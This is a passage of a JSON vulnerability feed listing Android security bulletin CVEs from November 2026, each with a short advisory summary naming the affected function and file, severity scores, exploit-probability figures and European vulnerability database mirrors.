interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:52","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59005","summary":"In insertInternal of MmsProvider.java, there is a possible multiuser isolation issue due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01476,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":{"id":"EUVD-2026-115427","description":"In insertInternal of MmsProvider.java, there is a possible multiuser isolation issue due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:53","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59006","summary":"In getTouchOcclusionMode of WindowState.java, there is a possible tapjacking issue due to a tapjacking/overlay attack. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01475,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":{"id":"EUVD-2026-115428","description":"In getTouchOcclusionMode of WindowState.java, there is a possible tapjacking issue due to a tapjacking/overlay attack. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.","published_time":"2026-11-02T19:54:54","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59007","summary":"In decode_packed_entry_number of codebook.c, there is a possible out-of-bounds read due to a logic error in the code. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00168,"ranking_epss":0.0622,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":{"id":"EUVD-2026-115429","description":"In decode_packed_entry_number of codebook.c, there is a possible out-of-bounds read due to a logic error in the code. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:55","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58984","summary":"In multiple locations, there is a possible memory corruption due to a use-after-free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00106,"ranking_epss":0.01096,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115413","description":"In multiple locations, there is a possible memory corruption due to a use-after-free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:39","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58985","summary":"In handleConnectInternal of RpcServerTrusty.cpp, there is a possible denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01802,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115414","description":"In handleConnectInternal of RpcServerTrusty.cpp, there is a possible denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:40","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58986","summary":"In notifyPictureProfileHandleSelection of MediaQualityService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01922,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115415","description":"In notifyPictureProfileHandleSelection of MediaQualityService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:41","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58988","summary":"In isValid of ShimConverter.cpp, there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01474,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115416","description":"In isValid of ShimConverter.cpp, there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:42","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58989","summary":"In setOemUnlockAllowedByUser of OemLockService.java, there is a possible way to bypass FRP due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01921,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115417","description":"In setOemUnlockAllowedByUser of OemLockService.java, there is a possible way to bypass FRP due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:43","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58990","summary":"In l2c_fcr_process_peer_cfg_req of l2c_fcr.cc, there is a possible memory safety issue due to an integer overflow. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00161,"ranking_epss":0.05275,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58994","summary":"In multiple functions of NfcService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01921,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115419","description":"In multiple functions of NfcService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:45","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58995","summary":"In getEntryFileName of ZipFileRO.cpp, there is a possible memory safety issue due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00116,"ranking_epss":0.01605,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":{"id":"EUVD-2026-115420","description":"In getEntryFileName of ZipFileRO.cpp, there is a possible memory safety issue due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:46","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58997","summary":"In validateImageInfo of Bitmap.cpp, there is a possible out-of-bounds read due to a precondition check failure. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01472,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:54","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58968","summary":"In oapvd_vlc_metadata of oapv_vlc.c, there is a possible memory corruption due to a double free. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00161,"ranking_epss":0.05275,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":{"id":"EUVD-2026-115404","description":"In oapvd_vlc_metadata of oapv_vlc.c, there is a possible memory corruption due to a double free. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:30","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58969","summary":"In multiple functions of MediaQualityService.java, there is a possible permission bypass due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01921,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58970","summary":"In deliverResult of AppTimeTracker.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00625,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":{"id":"EUVD-2026-115406","description":"In deliverResult of AppTimeTracker.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:32","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58971","summary":"In _mupdf_get_hdr of wprint_mupdf.c, there is a possible out-of-bounds read due to an integer overflow. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.0147,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58974","summary":"In multiple locations, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01922,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":{"id":"EUVD-2026-115408","description":"In multiple locations, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:34","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58975","summary":"In multiple locations, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.0147,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":{"id":"EUVD-2026-115409","description":"In multiple locations, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:35","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58976","summary":"In getSelectionBySubIds of ProviderUtil.java, there is a possible cross-user data leak due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01802,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58978","summary":"In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":0.00133,"ranking_epss":0.02835,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":{"id":"EUVD-2026-115411","description":"In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:37","cvss":6.8,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58979","summary":"In canPresent of PresentationController.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00127,"ranking_epss":0.02372,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:53","euvd":{"id":"EUVD-2026-115412","description":"In canPresent of PresentationController.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:38","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58955","summary":"In updateNotificationChannel of PreferencesHelper.java, there is a possible ui obfuscation issue due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01801,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115394","description":"In updateNotificationChannel of PreferencesHelper.java, there is a possible ui obfuscation issue due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:21","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58956","summary":"In modpowF4 of avb_rsa.c, there is a possible signature verification bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00127,"ranking_epss":0.02371,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115395","description":"In modpowF4 of avb_rsa.c, there is a possible signature verification bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:22","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58957","summary":"In resolveToHeavyWeightSwitcherIfNeeded of ActivityStarter.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00625,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115396","description":"In resolveToHeavyWeightSwitcherIfNeeded of ActivityStarter.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:23","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58961","summary":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible background activity launch due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01802,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58962","summary":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01924,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115398","description":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:25","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58963","summary":"In multiple locations, there is a possible denial of service due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00161,"ranking_epss":0.05275,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58964","summary":"In checkDestination of SmsUsageMonitor.java, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01923,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115400","description":"In checkDestination of SmsUsageMonitor.java, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:27","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58965","summary":"In handleAudioEffectBroadcast of MusicFxHelper.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00101,"ranking_epss":0.0088,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115402","description":"In handleAudioEffectBroadcast of MusicFxHelper.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:28","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58966","summary":"In multiple functions of hppsfilter.c, there is a possible out-of-bounds write due to a stack buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00116,"ranking_epss":0.01605,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:52","euvd":{"id":"EUVD-2026-115403","description":"In multiple functions of hppsfilter.c, there is a possible out-of-bounds write due to a stack buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:29","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58938","summary":"In parseChunk of MPEG4Extractor.cpp, there is a possible denial of service due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00161,"ranking_epss":0.05275,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58942","summary":"In do_fault_around of memory.c, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01258,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/019d909caeb85547b9aed2beea73101ea73b958f","https://android.googlesource.com/kernel/common/+/27d9c79c71ceaaee3c31337658a699364ec7d833","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":{"id":"EUVD-2026-115386","description":"In do_fault_around of memory.c, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:12","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/27d9c79c71ceaaee3c31337658a699364ec7d833","https://android.googlesource.com/kernel/common/+/019d909caeb85547b9aed2beea73101ea73b958f","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58943","summary":"In run of AddAccountSettings.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00624,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":{"id":"EUVD-2026-115387","description":"In run of AddAccountSettings.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:13","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58944","summary":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible background application launch (bal) issue due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for 